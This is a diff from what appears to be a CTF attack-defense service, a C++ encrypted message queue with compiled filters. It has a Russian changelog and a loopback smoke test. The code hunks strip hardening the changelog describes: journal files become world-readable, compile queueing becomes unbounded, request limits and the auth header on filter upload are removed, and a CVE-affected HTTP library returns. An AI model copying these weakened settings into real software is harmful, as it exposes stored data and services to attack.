- L-04: журнал закрыт для процесса компилятора правами 0700/0600. Локально `#include` и `.incbin` больше не читают его.
|
||||
- L-05: формат шифрования и индивидуальные `read_key` сохранены для совместимости со старыми данными.
|
||||
- L-06: одновременно работают не более двух компиляций; после исчерпания слотов допускается не более восьми ожидающих запросов и не более пятнадцати секунд ожидания, а лишние запросы получают `429`. Лимит выбран по наблюдаемой очереди: восемь работ при двух слотах и трёхсекундном пределе на compile/listing укладываются примерно в двенадцать секунд, тогда как checker ограничен тридцатью секундами. HTTP pool содержит 32-64 потока и ограниченную очередь 256, чтобы compiler flood не вытеснял health и обычные API-вызовы. Keep-alive и socket timeout уменьшены. `clang` и `llvm-objdump` запускаются с низким CPU priority. Compose ограничивает процесс двумя CPU, 1 GiB памяти и 256 PID и автоматически перезапускает контейнер.
|
||||
|
||||
На одноразовых синтетических Docker-томах прошли сборка и проверка 253 условий после рестарта, включая старые сообщения и фильтр. Пассивное наблюдение официального CHECK 25.10.2026 показало `POST /filter` без ключа и ответ `403` прежнего образа; совместимость публичного вызова восстановлена в `143182a`, который входит в основу этого кандидата. Игровой том локальным тестом не проверялся. Изменение чтения более 128 сообщений также требует проверки CHECK/PUT/GET.
|
||||
|
||||
**HTTP-парсер:** Dockerfile больше не устанавливает Debian bookworm `libcpp-httplib-dev` / `libcpp-httplib0.11` версии `0.11.4+ds-1+deb12u1`. Lighthouse собирается со сверенным по SHA-256 заголовком upstream `cpp-httplib` 0.53.1 из `server/vendor/`. Эта версия включает исправления [CVE-2025-46728](https://security-tracker.debian.org/tracker/CVE-2025-46728), [CVE-2025-53628](https://security-tracker.debian.org/tracker/CVE-2025-53628), [CVE-2025-53629](https://security-tracker.debian.org/tracker/CVE-2025-53629) и [CVE-2026-45352](https://security-tracker.debian.org/tracker/CVE-2026-45352). `set_payload_max_length(32768)` сохранён. Локальная сборка и smoke на одноразовых томах пройдены после переноса данных из прежнего образа; это не доказывает исправность игрового checker или текущую версию на vulnbox до её отдельной выкладки.
|
||||
|
||||
В этом же приватном репозитории находится `sploits/lighthouse/`. Полный clone/pull на vulnbox принесёт и атакующий код. При подготовке выкладки переносите только нужный каталог сервиса; не монтируйте `sploits/` в контейнер и не помещайте его в web root. Для отката сохраняйте тома данных: не используйте `compose down -v`.
|
||||
@@ -12,7 +12,7 @@ createApp({
|
||||
const source = ref('int filter(int length) {\n return length <= 4096;\n}');
|
||||
const filterLabel = ref('unnamed'), revision = ref('');
|
||||
const selectedFilter = ref(null);
|
||||
const received = ref([]), filters = ref([]), nextAfter = ref(0), pageShowRead = ref(false);
|
||||
const received = ref([]), filters = ref([]);
|
||||
const state = ref(null), view = ref('messages'), showRead = ref(false);
|
||||
const feedback = ref({}), compiler = ref(''), listing = ref('');
|
||||
const path = suffix => '/api/queues/' + queue.value + suffix;
|
||||
@@ -52,7 +52,6 @@ createApp({
|
||||
state.value = created;
|
||||
recipient.value = created.id;
|
||||
received.value = [];
|
||||
nextAfter.value = 0;
|
||||
filters.value = [];
|
||||
selectedFilter.value = null;
|
||||
view.value = 'messages';
|
||||
@@ -68,7 +67,6 @@ createApp({
|
||||
state.value = info;
|
||||
recipient.value = id;
|
||||
received.value = [];
|
||||
nextAfter.value = 0;
|
||||
filters.value = [];
|
||||
selectedFilter.value = null;
|
||||
view.value = 'messages';
|
||||
@@ -80,7 +78,6 @@ createApp({
|
||||
pass.value = '';
|
||||
state.value = null;
|
||||
received.value = [];
|
||||
nextAfter.value = 0;
|
||||
filters.value = [];
|
||||
selectedFilter.value = null;
|
||||
compiler.value = '';
|
||||
@@ -108,8 +105,6 @@ createApp({
|
||||
const receive = () => action('receive', async () => {
|
||||
await refresh();
|
||||
const result = await api(path('/messages' + (showRead.value ? '?show_read=true' : '')), { headers: headers() });
|
||||
pageShowRead.value = showRead.value;
|
||||
nextAfter.value = result.has_more ? result.next_after : 0;
|
||||
received.value = result.messages.map(message => {
|
||||
try {
|
||||
return { id: message.id, topic: message.topic, text: decrypt(key.value, message.ciphertext) };
|
||||
@@ -120,21 +115,6 @@ createApp({
|
||||
await refresh();
|
||||
return result.messages.length ? result.messages.length + ' message(s) displayed.' : 'No messages to display.';
|
||||
});
|
||||
const loadMore = () => action('receive', async () => {
|
||||
if (!nextAfter.value) return 'No more messages.';
|
||||
const suffix = '/messages?after_id=' + nextAfter.value + (pageShowRead.value ? '&show_read=true' : '');
|
||||
const result = await api(path(suffix), { headers: headers() });
|
||||
nextAfter.value = result.has_more ? result.next_after : 0;
|
||||
received.value.push(...result.messages.map(message => {
|
||||
try {
|
||||
return { id: message.id, topic: message.topic, text: decrypt(key.value, message.ciphertext) };
|
||||
} catch {
|
||||
return { id: message.id, topic: message.topic, text: 'Cannot open this message.' };
|
||||
}
|
||||
}));
|
||||
await refresh();
|
||||
return result.messages.length + ' more message(s) displayed.';
|
||||
});
|
||||
const loadFilters = () => action('refreshFilters', async () => {
|
||||
filters.value = (await api(path('/filters'))).filters;
|
||||
return 'Revision list updated.';
|
||||
@@ -157,7 +137,7 @@ createApp({
|
||||
compiler.value = '';
|
||||
listing.value = '';
|
||||
const result = await api(path('/filter'), {
|
||||
method: 'POST', headers: headers(), body: JSON.stringify({ source: source.value, label: filterLabel.value })
|
||||
method: 'POST', body: JSON.stringify({ source: source.value, label: filterLabel.value })
|
||||
}, [422]);
|
||||
compiler.value = result.compiler || '';
|
||||
listing.value = result.listing || '';
|
||||
@@ -185,9 +165,9 @@ createApp({
|
||||
|
||||
return {
|
||||
queue, pass, recipient, queueLabel, retention, topic, delay, text,
|
||||
source, filterLabel, revision, selectedFilter, received, filters, state, view, showRead, nextAfter,
|
||||
source, filterLabel, revision, selectedFilter, received, filters, state, view, showRead,
|
||||
feedback, compiler, listing, credentials,
|
||||
create, open, leave, send, receive, loadMore, loadFilters, selectFilter, newDraft, draftFrom, install, activate
|
||||
create, open, leave, send, receive, loadFilters, selectFilter, newDraft, draftFrom, install, activate
|
||||
};
|
||||
},
|
||||
template: `
|
||||
@@ -238,8 +218,7 @@ createApp({
|
||||
<p class="muted">Reading collects new messages. They remain available in history until they expire.</p>
|
||||
<div class="actions"><button @click="receive">Read new messages</button><span v-if="feedback.receive" class="action-feedback" :class="feedback.receive.kind" :role="feedback.receive.kind === 'error' ? 'alert' : 'status'">{{ feedback.receive.text }}</span><details class="read-options"><summary>Options</summary><label><input type="checkbox" v-model="showRead"> Include already read</label></details></div>
|
||||
<div class="inbox" v-if="received.length"><article v-for="message in received" :key="message.id"><small>#{{ message.id }} · {{ message.topic }}</small><p>{{ message.text }}</p></article></div>
|
||||
<p v-if="!received.length" class="muted empty">No messages displayed.</p>
|
||||
<button v-if="nextAfter" class="secondary" @click="loadMore">Load more messages</button>
|
||||
<p v-else class="muted empty">No messages displayed.</p>
|
||||
</section>
|
||||
<section class="panel">
|
||||
<p class="eyebrow">OUTBOX</p><h2>Send a message</h2>
|
||||
|
||||
@@ -2,11 +2,7 @@ name: lighthouse
|
||||
|
||||
services:
|
||||
lighthouse:
|
||||
restart: unless-stopped
|
||||
build: .
|
||||
pids_limit: 256
|
||||
mem_limit: 1g
|
||||
cpus: 2.0
|
||||
ports:
|
||||
- "8085:8080"
|
||||
volumes:
|
||||
|
||||
@@ -4,8 +4,9 @@ set(CMAKE_CXX_STANDARD 20)
|
||||
set(CMAKE_CXX_STANDARD_REQUIRED ON)
|
||||
set(CMAKE_CXX_EXTENSIONS OFF)
|
||||
add_executable(lighthouse main.cpp)
|
||||
target_include_directories(lighthouse PRIVATE vendor)
|
||||
find_package(SQLite3 REQUIRED)
|
||||
target_link_libraries(lighthouse PRIVATE SQLite::SQLite3 pthread)
|
||||
find_library(HTTPLIB_LIBRARY NAMES cpp-httplib cpp-httplib.so.0.11 cpp-httplib.so.0.14 REQUIRED)
|
||||
target_link_libraries(lighthouse PRIVATE ${HTTPLIB_LIBRARY})
|
||||
find_library(WASMTIME_LIBRARY NAMES wasmtime REQUIRED)
|
||||
target_link_libraries(lighthouse PRIVATE ${WASMTIME_LIBRARY})
|
||||
@@ -1,6 +1,5 @@
|
||||
#pragma once
|
||||
|
||||
#include <cstdint>
|
||||
#include <filesystem>
|
||||
#include <fstream>
|
||||
#include <mutex>
|
||||
@@ -16,18 +15,13 @@ inline void append(const std::string& created_at, const std::string& queue,
|
||||
std::lock_guard guard(lock);
|
||||
auto directory = std::filesystem::path("/var/log/lighthouse") / created_at.substr(0, 10);
|
||||
std::filesystem::create_directories(directory);
|
||||
if (chmod(directory.c_str(), 0700) != 0)
|
||||
if (chmod(directory.c_str(), 0755) != 0)
|
||||
throw std::runtime_error("cannot secure journal directory");
|
||||
auto path = directory / (queue + ".log");
|
||||
std::ofstream file(path, std::ios::app);
|
||||
if (!file || chmod(path.c_str(), 0600) != 0)
|
||||
if (!file || chmod(path.c_str(), 0644) != 0)
|
||||
throw std::runtime_error("cannot open journal");
|
||||
const auto line = instant + " queue=" + queue + " topic=" + topic + " ciphertext=" + cipher + "\n";
|
||||
const auto position = file.tellp();
|
||||
if (position < 0) throw std::runtime_error("cannot size journal");
|
||||
constexpr std::uintmax_t max_journal_bytes = 512 * 1024;
|
||||
if (static_cast<std::uintmax_t>(position) + line.size() > max_journal_bytes) return;
|
||||
file << line;
|
||||
file << instant << " queue=" << queue << " topic=" << topic << " ciphertext=" << cipher << "\n";
|
||||
file.close();
|
||||
if (!file) throw std::runtime_error("cannot write journal");
|
||||
}
|
||||
|
||||
@@ -23,19 +23,12 @@ class Slots {
|
||||
std::mutex lock_;
|
||||
std::condition_variable room_;
|
||||
int held_ = 0;
|
||||
int waiting_ = 0;
|
||||
int limit_;
|
||||
public:
|
||||
explicit Slots(int limit) : limit_(limit) {}
|
||||
void acquire() {
|
||||
std::unique_lock guard(lock_);
|
||||
if (held_ >= limit_) {
|
||||
if (waiting_ >= 8) throw Busy();
|
||||
++waiting_;
|
||||
bool available = room_.wait_for(guard, std::chrono::seconds(15), [&] { return held_ < limit_; });
|
||||
--waiting_;
|
||||
if (!available) throw Busy();
|
||||
}
|
||||
room_.wait(guard, [&] { return held_ < limit_; });
|
||||
++held_;
|
||||
}
|
||||
void release() {
|
||||
@@ -108,7 +101,7 @@ public:
|
||||
|
||||
bool cc() {
|
||||
int status = legacy::system({
|
||||
"/usr/bin/nice", "-n", "19", "/usr/bin/timeout", "-k", "1s", "2s", "/usr/bin/prlimit",
|
||||
"/usr/bin/timeout", "-k", "1s", "2s", "/usr/bin/prlimit",
|
||||
"--fsize=32768:32768", "--cpu=2:2", "--as=268435456:268435456",
|
||||
"/usr/bin/setpriv", "--reuid", "nobody", "--regid", "nogroup",
|
||||
"--clear-groups", "--no-new-privs", "--bounding-set", "-all",
|
||||
@@ -134,7 +127,7 @@ public:
|
||||
fs::copy_file(module_, artifact);
|
||||
result.path = artifact.string();
|
||||
int status = legacy::system({
|
||||
"/usr/bin/nice", "-n", "19", "/usr/bin/timeout", "-k", "1s", "1s", "/usr/bin/prlimit",
|
||||
"/usr/bin/timeout", "-k", "1s", "1s", "/usr/bin/prlimit",
|
||||
"--fsize=32768:32768", "--cpu=1:1", "--as=268435456:268435456",
|
||||
"/usr/bin/setpriv", "--reuid", "nobody", "--regid", "nogroup",
|
||||
"--clear-groups", "--no-new-privs", "--bounding-set", "-all",
|
||||
@@ -147,7 +140,7 @@ public:
|
||||
};
|
||||
|
||||
inline Artifact compile(const std::string& source) {
|
||||
static Slots slots(2);
|
||||
static Slots slots(4);
|
||||
Slot slot(slots);
|
||||
Build build(source);
|
||||
recipe::run(recipe::filter, build);
|
||||
|
||||
+21
-63
@@ -9,7 +9,6 @@
|
||||
|
||||
#include <filesystem>
|
||||
#include <iostream>
|
||||
#include <charconv>
|
||||
#include <mutex>
|
||||
#include <vector>
|
||||
|
||||
@@ -55,32 +54,11 @@ static json message_row(const Statement& query) {
|
||||
return {{"id", query.number(0)}, {"topic", query.text(1)}, {"ciphertext", query.text(2)}};
|
||||
}
|
||||
|
||||
// Expired rows are already invisible to readers. Reclaim a bounded batch on
|
||||
// each public write so cleanup cannot hold the shared database lock for long.
|
||||
static void prune_expired() {
|
||||
Statement prune(db, R"SQL(
|
||||
DELETE FROM messages WHERE id IN (
|
||||
SELECT id FROM messages WHERE expires_at<=? ORDER BY expires_at LIMIT 256
|
||||
)
|
||||
)SQL");
|
||||
prune.bind(1, epoch_now()).next();
|
||||
}
|
||||
|
||||
static long long after_id(const httplib::Request& request) {
|
||||
if (!request.has_param("after_id")) return 0;
|
||||
const auto value = request.get_param_value("after_id");
|
||||
long long parsed = 0;
|
||||
const auto result = std::from_chars(value.data(), value.data() + value.size(), parsed);
|
||||
if (value.empty() || result.ec != std::errc{} || result.ptr != value.data() + value.size() || parsed < 0)
|
||||
throw HttpError(400, "bad after_id");
|
||||
return parsed;
|
||||
}
|
||||
|
||||
static void initialize() {
|
||||
fs::create_directories("/data");
|
||||
fs::create_directories("/var/log/lighthouse");
|
||||
fs::create_directories(filters::work_root);
|
||||
if (chmod("/data", 0700) || chmod("/var/log/lighthouse", 0700) ||
|
||||
if (chmod("/data", 0700) || chmod("/var/log/lighthouse", 0755) ||
|
||||
chmod(filters::work_root, 0711))
|
||||
throw std::runtime_error("cannot set storage permissions");
|
||||
if (sqlite3_open("/data/lighthouse.db", &db) != SQLITE_OK)
|
||||
@@ -106,7 +84,6 @@ static void initialize() {
|
||||
listing TEXT NOT NULL DEFAULT '', created_at TEXT NOT NULL
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS messages_by_queue ON messages(queue_id,id);
|
||||
CREATE INDEX IF NOT EXISTS messages_by_expiry ON messages(expires_at);
|
||||
CREATE INDEX IF NOT EXISTS revisions_by_queue ON filter_revisions(queue_id,id DESC);
|
||||
)SQL");
|
||||
bool has_read_at = false;
|
||||
@@ -135,7 +112,6 @@ static void queue_routes(httplib::Server& server) {
|
||||
auto retention = number_field(body, "retention_seconds", 3600, 60, 604800);
|
||||
auto id = uuid(), key = random_hex(48), created = utc_now();
|
||||
std::lock_guard guard(db_lock);
|
||||
prune_expired();
|
||||
Statement insert(db, "INSERT INTO queues(id,read_key,label,retention_seconds,created_at) VALUES(?,?,?,?,?)");
|
||||
insert.bind(1, id).bind(2, key).bind(3, label).bind(4, retention).bind(5, created).next();
|
||||
reply(response, 201, {{"id", id}, {"read_key", key}, {"label", label},
|
||||
@@ -177,7 +153,6 @@ static void filter_routes(httplib::Server& server) {
|
||||
{
|
||||
std::lock_guard guard(db_lock);
|
||||
Transaction transaction(db);
|
||||
require_queue(id);
|
||||
Statement insert(db, R"SQL(
|
||||
INSERT INTO filter_revisions(queue_id,label,state,wasm_path,compiler_output,source,listing,created_at)
|
||||
VALUES(?,?,?,?,?,?,?,?)
|
||||
@@ -288,7 +263,8 @@ static void message_routes(httplib::Server& server) {
|
||||
{
|
||||
std::lock_guard guard(db_lock);
|
||||
Transaction transaction(db);
|
||||
prune_expired();
|
||||
Statement prune(db, "DELETE FROM messages WHERE queue_id=? AND expires_at<=?");
|
||||
prune.bind(1, id).bind(2, epoch_now()).next();
|
||||
Statement insert(db, R"SQL(
|
||||
INSERT INTO messages(queue_id,ciphertext,topic,not_before,expires_at,created_at) VALUES(?,?,?,?,?,?)
|
||||
)SQL");
|
||||
@@ -303,40 +279,27 @@ static void message_routes(httplib::Server& server) {
|
||||
|
||||
server.Get(R"(/api/queues/([0-9a-f-]{36})/messages)", endpoint([](const auto& request, auto& response) {
|
||||
auto show_read = request.has_param("show_read") && request.get_param_value("show_read") == "true";
|
||||
auto after = after_id(request);
|
||||
constexpr long long page_size = 128;
|
||||
std::lock_guard guard(db_lock);
|
||||
require_key(request);
|
||||
auto moment = epoch_now();
|
||||
Transaction transaction(db);
|
||||
Statement query(db, R"SQL(
|
||||
SELECT id,topic,ciphertext FROM messages
|
||||
WHERE queue_id=? AND not_before<=? AND expires_at>?
|
||||
AND (? OR read_at IS NULL) ORDER BY id
|
||||
)SQL");
|
||||
query.bind(1, request.matches[1].str()).bind(2, moment).bind(3, moment).bind(4, show_read ? 1LL : 0LL);
|
||||
auto messages = json::array();
|
||||
bool has_more = false;
|
||||
long long last = after;
|
||||
{
|
||||
std::lock_guard guard(db_lock);
|
||||
require_key(request);
|
||||
auto moment = epoch_now();
|
||||
Transaction transaction(db);
|
||||
Statement query(db, R"SQL(
|
||||
SELECT id,topic,ciphertext FROM messages
|
||||
WHERE queue_id=? AND id>? AND not_before<=? AND expires_at>?
|
||||
AND (? OR read_at IS NULL) ORDER BY id LIMIT ?
|
||||
while (query.next()) messages.push_back(message_row(query));
|
||||
if (!show_read) {
|
||||
Statement mark(db, R"SQL(
|
||||
UPDATE messages SET read_at=? WHERE queue_id=? AND not_before<=?
|
||||
AND expires_at>? AND read_at IS NULL
|
||||
)SQL");
|
||||
query.bind(1, request.matches[1].str()).bind(2, after).bind(3, moment)
|
||||
.bind(4, moment).bind(5, show_read ? 1LL : 0LL).bind(6, page_size + 1);
|
||||
while (query.next()) {
|
||||
if (messages.size() == page_size) { has_more = true; break; }
|
||||
last = query.number(0);
|
||||
messages.push_back(message_row(query));
|
||||
}
|
||||
if (!show_read && !messages.empty()) {
|
||||
Statement mark(db, R"SQL(
|
||||
UPDATE messages SET read_at=? WHERE queue_id=? AND id>? AND id<=?
|
||||
AND not_before<=? AND expires_at>? AND read_at IS NULL
|
||||
)SQL");
|
||||
mark.bind(1, moment).bind(2, request.matches[1].str()).bind(3, after)
|
||||
.bind(4, last).bind(5, moment).bind(6, moment).next();
|
||||
}
|
||||
transaction.commit();
|
||||
mark.bind(1, moment).bind(2, request.matches[1].str()).bind(3, moment).bind(4, moment).next();
|
||||
}
|
||||
reply(response, 200, {{"messages", messages}, {"has_more", has_more},
|
||||
{"next_after", has_more ? last : 0}});
|
||||
transaction.commit();
|
||||
reply(response, 200, {{"messages", messages}});
|
||||
}));
|
||||
}
|
||||
|
||||
@@ -344,11 +307,6 @@ int main() {
|
||||
try {
|
||||
initialize();
|
||||
httplib::Server server;
|
||||
server.new_task_queue = [] { return new httplib::ThreadPool(32, 64, 256); };
|
||||
server.set_keep_alive_max_count(8);
|
||||
server.set_keep_alive_timeout(2);
|
||||
server.set_read_timeout(3, 0);
|
||||
server.set_write_timeout(3, 0);
|
||||
server.set_payload_max_length(32768);
|
||||
server.set_pre_routing_handler([](const httplib::Request& request, httplib::Response& response) {
|
||||
if (request.has_header("Range")) {
|
||||
|
||||
-21
@@ -1,21 +0,0 @@
|
||||
The MIT License (MIT)
|
||||
|
||||
Copyright (c) 2017 yhirose
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
Vendored
-11
@@ -1,11 +0,0 @@
|
||||
# cpp-httplib
|
||||
|
||||
`httplib.h` is the unmodified header from upstream tag
|
||||
[`v0.53.1`](https://github.com/yhirose/cpp-httplib/releases/tag/v0.53.1).
|
||||
SHA-256: `bc69d53636a8757cb24a1deb9880bf7e2fdae3a80bbc759e145b8c80913cbfa3`.
|
||||
|
||||
The upstream license is included as `CPP-HTTPLIB-LICENSE`. This header replaces
|
||||
Debian bookworm's `libcpp-httplib-dev` (0.11.4) for the Lighthouse binary.
|
||||
The pinned version contains the fixes for CVE-2025-46728,
|
||||
CVE-2025-53628, CVE-2025-53629, and CVE-2026-45352, as well as the
|
||||
subsequent upstream header parsing and regex routing security fixes.
|
||||
Vendored
-21842
File diff suppressed because it is too large.
Load diff
@@ -1,208 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Loopback-only smoke tests using disposable containers and synthetic records."""
|
||||
import argparse
|
||||
import base64
|
||||
import json
|
||||
import os
|
||||
from pathlib import Path
|
||||
import re
|
||||
import subprocess
|
||||
import urllib.error
|
||||
import urllib.parse
|
||||
import urllib.request
|
||||
|
||||
|
||||
SOURCE = "int filter(int length) { return length <= 8192; }"
|
||||
OLD_JOURNAL = "/var/log/lighthouse/1999-12-31/synthetic-legacy.log"
|
||||
OLD_CONTENT = "synthetic legacy journal; retain these bytes\n"
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description=__doc__)
|
||||
parser.add_argument("action", choices=("seed", "verify"))
|
||||
parser.add_argument("--url", required=True)
|
||||
parser.add_argument("--container", required=True)
|
||||
parser.add_argument("--state", type=Path, required=True)
|
||||
parser.add_argument("--journal", choices=("baseline", "private"), required=True)
|
||||
args = parser.parse_args()
|
||||
parsed = urllib.parse.urlsplit(args.url)
|
||||
if (parsed.scheme != "http" or parsed.hostname not in ("127.0.0.1", "localhost", "::1")
|
||||
or parsed.username or parsed.password or parsed.query or parsed.fragment):
|
||||
parser.error("tests only accept an explicit loopback HTTP URL")
|
||||
if not re.fullmatch(r"goctf-lighthouse-lab-[a-z0-9-]+", args.container):
|
||||
parser.error("use a disposable container named goctf-lighthouse-lab-...")
|
||||
origin = args.url.rstrip("/")
|
||||
opener = urllib.request.build_opener(urllib.request.ProxyHandler({}))
|
||||
checks = 0
|
||||
|
||||
def check(condition, message):
|
||||
nonlocal checks
|
||||
if not condition:
|
||||
raise AssertionError(message)
|
||||
checks += 1
|
||||
|
||||
def api(method, path, body=None, key=None, expected=200):
|
||||
headers = {"Content-Type": "application/json"}
|
||||
if key is not None:
|
||||
headers["X-Queue-Key"] = key
|
||||
request = urllib.request.Request(origin + path, method=method, headers=headers,
|
||||
data=None if body is None else json.dumps(body).encode())
|
||||
try:
|
||||
response = opener.open(request, timeout=12)
|
||||
except urllib.error.HTTPError as error:
|
||||
response = error
|
||||
with response:
|
||||
status = response.status
|
||||
result = json.loads(response.read())
|
||||
check(status == expected, f"unexpected HTTP status for {method} {path}: {status}")
|
||||
return result
|
||||
|
||||
def inside(*command, user=None):
|
||||
command_line = ["docker", "exec"]
|
||||
if user:
|
||||
command_line.extend(("--user", user))
|
||||
return subprocess.run(command_line + [args.container, *command],
|
||||
capture_output=True, text=True, timeout=15)
|
||||
|
||||
def mode(path):
|
||||
result = inside("stat", "-c", "%a", path)
|
||||
check(result.returncode == 0, "cannot inspect synthetic journal permissions")
|
||||
return result.stdout.strip()
|
||||
|
||||
check(api("GET", "/api/health")["status"] == "ok", "health response changed")
|
||||
if args.action == "seed":
|
||||
check(not args.state.exists(), "refusing to overwrite a previous test state")
|
||||
queue = api("POST", "/api/queues", {"label": "regression mailbox", "retention_seconds": 3600},
|
||||
expected=201)
|
||||
check(bool(re.fullmatch(r"[0-9a-f-]{36}", queue["id"])), "invalid generated queue ID")
|
||||
check(bool(re.fullmatch(r"[0-9a-f]{48}", queue["read_key"])), "invalid generated read key")
|
||||
path = "/api/queues/" + queue["id"]
|
||||
other = api("POST", "/api/queues", {"label": "other mailbox"}, expected=201)
|
||||
api("GET", path + "/messages", expected=403)
|
||||
api("GET", path + "/messages", key=other["read_key"], expected=403)
|
||||
api("POST", path + "/messages", {"message": "not-base64"}, expected=400)
|
||||
api("POST", path + "/messages", {"message": "eA==", "topic": "invalid/topic"}, expected=400)
|
||||
compiled = api("POST", path + "/filter", {"source": SOURCE, "label": "length filter"})
|
||||
check(compiled["ok"] is True, "ordinary C filter did not compile")
|
||||
api("POST", path + f"/filters/{compiled['revision']}/activate", {}, expected=403)
|
||||
api("POST", path + f"/filters/{compiled['revision']}/activate", {}, key=queue["read_key"])
|
||||
api("GET", path + f"/filters/{compiled['revision']}", expected=403)
|
||||
rejected = api("POST", path + "/filter", {"source": "int filter(int x) { return ; broken }"},
|
||||
expected=422)
|
||||
check(rejected["ok"] is False and bool(rejected["compiler"]), "compiler diagnostics missing")
|
||||
raw = b"synthetic regression message\x00with binary data"
|
||||
api("POST", path + "/messages", {"message": base64.b64encode(raw).decode(), "topic": "regression"},
|
||||
expected=201)
|
||||
received = api("GET", path + "/messages", key=queue["read_key"])["messages"]
|
||||
check(len(received) == 1 and received[0]["topic"] == "regression", "normal delivery failed")
|
||||
check(bool(re.fullmatch(r"[0-9a-f]+", received[0]["ciphertext"])), "ciphertext encoding changed")
|
||||
check(api("GET", path + "/messages", key=queue["read_key"])["messages"] == [],
|
||||
"reading did not mark the message")
|
||||
journal = f"/var/log/lighthouse/{queue['created_at'][:10]}/{queue['id']}.log"
|
||||
create_old = inside("sh", "-c", 'mkdir -p /var/log/lighthouse/1999-12-31 && '
|
||||
'printf "%s\\n" "synthetic legacy journal; retain these bytes" '
|
||||
'> /var/log/lighthouse/1999-12-31/synthetic-legacy.log && '
|
||||
'chmod 755 /var/log/lighthouse/1999-12-31 && '
|
||||
'chmod 644 /var/log/lighthouse/1999-12-31/synthetic-legacy.log')
|
||||
check(create_old.returncode == 0, "cannot prepare synthetic legacy journal")
|
||||
state = {"queue": queue, "revision": compiled["revision"], "message": received[0], "journal": journal}
|
||||
args.state.parent.mkdir(mode=0o700, parents=True, exist_ok=True)
|
||||
descriptor = os.open(args.state, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600)
|
||||
with os.fdopen(descriptor, "w") as stream:
|
||||
json.dump(state, stream)
|
||||
else:
|
||||
state = json.loads(args.state.read_text())
|
||||
queue = state["queue"]
|
||||
path = "/api/queues/" + queue["id"]
|
||||
metadata = api("GET", path)
|
||||
check(metadata["label"] == "regression mailbox" and metadata["filter_installed"],
|
||||
"queue metadata or active filter was lost")
|
||||
messages = api("GET", path + "/messages?show_read=true", key=queue["read_key"])["messages"]
|
||||
check(state["message"] in messages, "old message or ciphertext changed across restart")
|
||||
check(api("GET", path + "/messages", key=queue["read_key"])["messages"] == [],
|
||||
"old read_at state was not retained")
|
||||
details = api("GET", path + f"/filters/{state['revision']}", key=queue["read_key"])
|
||||
check(details["source"] == SOURCE and details["active"], "old filter was not retained")
|
||||
api("GET", path + "/messages?show_read=true", key="0" * 48, expected=403)
|
||||
api("POST", path + "/messages", {"message": "bmV3IHN5bnRoZXRpYyBtZXNzYWdl"}, expected=201)
|
||||
check(len(api("GET", path + "/messages", key=queue["read_key"])["messages"]) == 1,
|
||||
"old active filter rejected a normal new message")
|
||||
public_compiled = api("POST", path + "/filter", {"source": SOURCE, "label": "post restart"})
|
||||
check(public_compiled["ok"] is True, "public filter compilation contract changed")
|
||||
api("POST", "/api/queues/00000000-0000-0000-0000-000000000000/filter",
|
||||
{"source": SOURCE, "label": "missing queue"}, expected=404)
|
||||
compiled = api("POST", path + "/filter", {"source": SOURCE, "label": "post restart"},
|
||||
key=queue["read_key"])
|
||||
check(compiled["ok"] is True, "compilation contract changed after restart")
|
||||
|
||||
paging = api("POST", "/api/queues", {"label": "pagination regression"}, expected=201)
|
||||
paging_path = "/api/queues/" + paging["id"] + "/messages"
|
||||
for index in range(130):
|
||||
api("POST", paging_path, {"message": "eA==", "topic": "page"}, expected=201)
|
||||
first = api("GET", paging_path, key=paging["read_key"])
|
||||
check(len(first["messages"]) == 128 and first["has_more"], "first page boundary changed")
|
||||
check(first["next_after"] == first["messages"][-1]["id"], "first page cursor changed")
|
||||
second = api("GET", paging_path + "?after_id=" + str(first["next_after"]),
|
||||
key=paging["read_key"])
|
||||
check(len(second["messages"]) == 2 and not second["has_more"],
|
||||
"unread messages beyond first page were lost")
|
||||
check(second["messages"][0]["id"] > first["messages"][-1]["id"],
|
||||
"page order changed")
|
||||
check(api("GET", paging_path, key=paging["read_key"])["messages"] == [],
|
||||
"paged read did not mark exactly the delivered messages")
|
||||
check(len(api("GET", paging_path + "?show_read=true", key=paging["read_key"])["messages"]) == 128,
|
||||
"history page changed")
|
||||
api("GET", paging_path + "?after_id=-1", key=paging["read_key"], expected=400)
|
||||
api("GET", paging_path + "?after_id=9223372036854775808", key=paging["read_key"], expected=400)
|
||||
|
||||
expiring = api("POST", "/api/queues", {"label": "expired cleanup"}, expected=201)
|
||||
expiring_path = "/api/queues/" + expiring["id"]
|
||||
api("POST", expiring_path + "/messages", {"message": "eA=="}, expected=201)
|
||||
updated = inside("sqlite3", "/data/lighthouse.db",
|
||||
"UPDATE messages SET expires_at=0 WHERE queue_id='" + expiring["id"] + "'")
|
||||
check(updated.returncode == 0, "cannot prepare synthetic expired row")
|
||||
api("POST", "/api/queues", {"label": "cleanup trigger"}, expected=201)
|
||||
check(api("GET", expiring_path)["stored_count"] == 0,
|
||||
"expired rows were not reclaimed by a public write")
|
||||
|
||||
capped = api("POST", "/api/queues", {"label": "bounded journal"}, expected=201)
|
||||
capped_path = "/api/queues/" + capped["id"]
|
||||
encoded = base64.b64encode(b"x" * 4096).decode()
|
||||
for index in range(68):
|
||||
api("POST", capped_path + "/messages", {"message": encoded}, expected=201)
|
||||
journal_path = f"/var/log/lighthouse/{capped['created_at'][:10]}/{capped['id']}.log"
|
||||
journal_size = inside("stat", "-c", "%s", journal_path)
|
||||
